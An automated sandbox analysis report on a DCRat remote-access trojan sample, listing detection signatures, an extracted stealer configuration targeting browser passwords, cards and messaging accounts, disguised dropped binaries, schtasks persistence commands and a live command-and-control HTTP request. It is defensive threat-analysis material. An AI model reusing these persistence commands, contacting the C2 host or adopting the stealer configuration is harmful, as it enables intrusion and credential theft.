Windows Analysis Report 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe

Overview

General Information

Sample Name: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Analysis ID: 553369
MD5: a4d367f98a1fa3e594af0875379bda39
SHA1: a82d6bafcc260138eb11b4a511ff6f3e80441ce3
SHA256: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b8f3040eb8f3d29ef149
Tags: DCRatexe
Infos:

Most interesting Screenshot:

Detection

DCRat
Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Antivirus detection for dropped file
Yara detected DCRat
Creates an autostart registry key pointing to binary in C:\Windows
Creates multiple autostart registry keys
Creates processes via WMI
Machine Learning detection for sample
Machine Learning detection for dropped file
Uses schtasks.exe or at.exe to add and modify task schedules
Drops PE files with benign system names
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution
PE file contains sections with non-standard names
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to communicate with device drivers
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
File is packed with WinRar
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

AV Detection:

barindex
Found malware configuration
Source: 0000000A.00000002.726915147.0000000002541000.00000004.00000001.sdmp Malware Configuration Extractor: DCRat {"SCRT": "{\"u\":\"#\",\"d\":\"(\",\"M\":\"<\",\"2\":\"%\",\"D\":\">\",\"8\":\"_\",\"9\":\"~\",\"O\":\"&\",\"I\":\"|\",\"w\":\")\",\"X\":\"!\",\"1\":\"-\",\"x\":\",\",\"y\":\".\",\"Q\":\";\",\"A\":\" \",\"p\":\"^\",\"Y\":\"@\",\"W\":\"`\",\"G\":\"*\",\"i\":\"$\",\"Z\":\"+\"}", "PCRT": "{\"C\":\")\",\"F\":\"*\",\"Q\":\"!\",\"2\":\"@\",\"V\":\" \",\"B\":\"^\",\"U\":\"$\",\"T\":\"<\",\"o\":\"&\",\"R\":\"+\",\"d\":\".\",\"c\":\";\",\"O\":\"%\",\"p\":\">\",\"E\":\"-\",\"S\":\",\",\"l\":\"~\",\"D\":\"_\",\"3\":\"|\",\"H\":\"(\",\"G\":\"#\",\"1\":\"`\"}", "TAG": "", "MUTEX": "DCR_MUTEX-OkjwC4qi8XjmDi2c70LT", "LDTM": false, "DBG": false, "BCS": 0, "AUR": 1, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true}, "AS": true, "ASO": false, "ASP": "%UsersFolder% - Fast", "AD": false}
Antivirus detection for dropped file
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Avira: detection malicious, Label: HEUR/AGEN.1141820
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Avira: detection malicious, Label: HEUR/AGEN.1141820
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Avira: detection malicious, Label: HEUR/AGEN.1141820
Source: C:\Windows\System32\umdmxfrm\backgroundTaskHost.exe Avira: detection malicious, Label: HEUR/AGEN.1141820
Machine Learning detection for sample
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Joe Sandbox ML: detected
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Joe Sandbox ML: detected
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Joe Sandbox ML: detected
Source: C:\Windows\System32\umdmxfrm\backgroundTaskHost.exe Joe Sandbox ML: detected

Compliance:

barindex
Uses 32bit PE files
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 0_2_0100A5F4
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 0_2_0101B8E0
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102AAA8 FindFirstFileExA, 0_2_0102AAA8

Networking:

barindex
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /7/Universal/HttpFlower1Track/BigloadpacketCdn/localSecure/eternalPipebigloadsqldownloads.php?8QZesf4BjPtJwMxRC1=1cEHj6AVuwEa1lJXnITm&E9EC=WXKg&p6jKF4I=isJKPez2imzKItPhxc9FejmLNj&ad86a6d64cd9a9c991d6459f2f76c879=2c265b3bebbb4f72fb0a4abcd42fd52d&7ff5ed2a3db2907b96c3c5c975e1934b=wYiFDMykTM1ATZzUGZhVGN2cjYlFmM0YzNwEGMjNGMiRzYhJDZ1IzM&8QZesf4BjPtJwMxRC1=1cEHj6AVuwEa1lJXnITm&E9EC=WXKg&p6jKF4I=isJKPez2imzKItPhxc9FejmLNj HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 47.254.235.229Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 47.254.235.229
Source: unknown TCP traffic detected without corresponding DNS query: 47.254.235.229
Source: unknown TCP traffic detected without corresponding DNS query: 47.254.235.229
Source: lsass.exe, 00000014.00000002.935719787.000000000305C000.00000004.00000001.sdmp String found in binary or memory: http://47.254.235.229
Source: lsass.exe, 00000014.00000002.935719787.000000000305C000.00000004.00000001.sdmp String found in binary or memory: http://47.254.235.229/7/Universal/HttpFlower1Track/BigloadpacketCdn/localSecure/
Source: lsass.exe, 00000014.00000002.935719787.000000000305C000.00000004.00000001.sdmp, lsass.exe, 00000014.00000002.935167405.00000000010E8000.00000004.00000001.sdmp String found in binary or memory: http://47.254.235.229/7/Universal/HttpFlower1Track/BigloadpacketCdn/localSecure/eternalPipebigloadsq
Source: lsass.exe, 00000014.00000002.935719787.000000000305C000.00000004.00000001.sdmp String found in binary or memory: http://47.254.235.229x
Source: lsass.exe, 00000014.00000002.935090036.00000000010A8000.00000004.00000001.sdmp String found in binary or memory: http://ctl254.235.229/7/Universal/HttpFlower1Track/BigloadpacketCdn/localSecure/eternalPipebigloadsq
Source: refhostperfdllCommonsessionnetsvc.exe, 00000007.00000002.712103997.0000000003250000.00000004.00000001.sdmp, lsass.exe, 00000014.00000002.935719787.000000000305C000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000014.00000002.935822946.0000000012FB1000.00000004.00000001.sdmp String found in binary or memory: https://steamcommunity.com/profiles/
Source: global traffic HTTP traffic detected: GET /7/Universal/HttpFlower1Track/BigloadpacketCdn/localSecure/eternalPipebigloadsqldownloads.php?8QZesf4BjPtJwMxRC1=1cEHj6AVuwEa1lJXnITm&E9EC=WXKg&p6jKF4I=isJKPez2imzKItPhxc9FejmLNj&ad86a6d64cd9a9c991d6459f2f76c879=2c265b3bebbb4f72fb0a4abcd42fd52d&7ff5ed2a3db2907b96c3c5c975e1934b=wYiFDMykTM1ATZzUGZhVGN2cjYlFmM0YzNwEGMjNGMiRzYhJDZ1IzM&8QZesf4BjPtJwMxRC1=1cEHj6AVuwEa1lJXnITm&E9EC=WXKg&p6jKF4I=isJKPez2imzKItPhxc9FejmLNj HTTP/1.1Accept: */*Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 47.254.235.229Connection: Keep-Alive

System Summary:

barindex
Uses 32bit PE files
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 00000014.00000002.935944649.0000000013028000.00000004.00000001.sdmp, type: MEMORY Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: 00000007.00000002.714469777.0000000013283000.00000004.00000001.sdmp, type: MEMORY Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: refhostperfdllCommonsessionnetsvc.exe PID: 744, type: MEMORYSTR Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Source: Process Memory Space: lsass.exe PID: 1680, type: MEMORYSTR Matched rule: SUSP_Double_Base64_Encoded_Executable date = 2019-10-29, hash1 = 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9, author = Florian Roth, description = Detects an executable that has been encoded with base64 twice, reference = https://twitter.com/TweeterCyber/status/1189073238803877889
Creates files inside the system directory
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Windows\System32\umdmxfrm Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100857B 0_2_0100857B
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01031194 0_2_01031194
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102D00E 0_2_0102D00E
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100407E 0_2_0100407E
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_010170BF 0_2_010170BF
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01003281 0_2_01003281
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100E2A0 0_2_0100E2A0
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_010202F6 0_2_010202F6
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102070E 0_2_0102070E
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102473A 0_2_0102473A
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_010137C1 0_2_010137C1
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_010027E8 0_2_010027E8
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01016646 0_2_01016646
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100F968 0_2_0100F968
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01024969 0_2_01024969
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100E8A0 0_2_0100E8A0
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01020B43 0_2_01020B43
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102CB60 0_2_0102CB60
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01013A3C 0_2_01013A3C
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01016A7B 0_2_01016A7B
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100ED14 0_2_0100ED14
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01013D6D 0_2_01013D6D
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101FDFA 0_2_0101FDFA
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01015C77 0_2_01015C77
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01005F3C 0_2_01005F3C
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01020F78 0_2_01020F78
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100BE13 0_2_0100BE13
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100DE6C 0_2_0100DE6C
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Code function: 7_2_00007FFA362648A2 7_2_00007FFA362648A2
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Code function: 7_2_00007FFA362649A2 7_2_00007FFA362649A2
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: String function: 0101E28C appears 35 times
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: String function: 0101E360 appears 52 times
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: String function: 0101ED00 appears 31 times
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW, 0_2_0100718C
Sample file is different than original file name gathered from version info
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000003.669450664.000000000340E000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe.mui` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000003.669450664.000000000340E000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000002.670220738.000000000342D000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe.mui` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000002.670220738.000000000342D000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000003.669465613.000000000342C000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe.mui` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000003.669465613.000000000342C000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000003.669430120.0000000003405000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe.mui` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe, 00000000.00000003.669430120.0000000003405000.00000004.00000001.sdmp Binary or memory string: OriginalFilenamewscript.exe` vs 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
PE file contains strange resources
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Tries to load missing DLLs
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: <pi-ms-win-core-localization-l1-2-1.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: dxgidebug.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe File read: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Jump to behavior
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe "C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe"
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\refhostperfdllCommon\mbuli7h5qN.vbe"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refhostperfdllCommon\rSX3yp.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe
Source: unknown Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "wjIuhVBtfHXnMCZlWDoj" /sc ONLOGON /tr "'C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe'" /rl HIGHEST /f
Source: unknown Process created: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe
Source: unknown Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Windows\System32\umdmxfrm\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: unknown Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Documents and Settings\user\Pictures\Camera Roll\lsass.exe'" /rl HIGHEST /f
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe "C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe"
Source: unknown Process created: C:\Users\user\Pictures\Camera Roll\lsass.exe C:\Documents and Settings\user\Pictures\Camera Roll\lsass.exe
Source: unknown Process created: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe "C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe"
Source: unknown Process created: C:\Users\user\Pictures\Camera Roll\lsass.exe "C:\Documents and Settings\user\Pictures\Camera Roll\lsass.exe"
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\refhostperfdllCommon\mbuli7h5qN.vbe" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refhostperfdllCommon\rSX3yp.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe "C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe" Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32 Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\refhostperfdllCommonsessionnetsvc.exe.log Jump to behavior
Source: classification engine Classification label: mal92.troj.winEXE@18/12@0/1
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe File read: C:\Windows\win.ini Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01006EC9 GetLastError,FormatMessageW, 0_2_01006EC9
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Mutant created: \Sessions\1\BaseNamedObjects\3c2a2cbcf247c3c8a64f86b3e45480d00bfbb70f
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_01
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_01019E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree, 0_2_01019E1C
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Command line argument: sfxname 0_2_0101D5D4
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Command line argument: sfxstime 0_2_0101D5D4
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Command line argument: STARTDLG 0_2_0101D5D4
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refhostperfdllCommon\rSX3yp.bat" "
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static file information: File size 1322142 > 1048576
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: GUARD_CF, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe
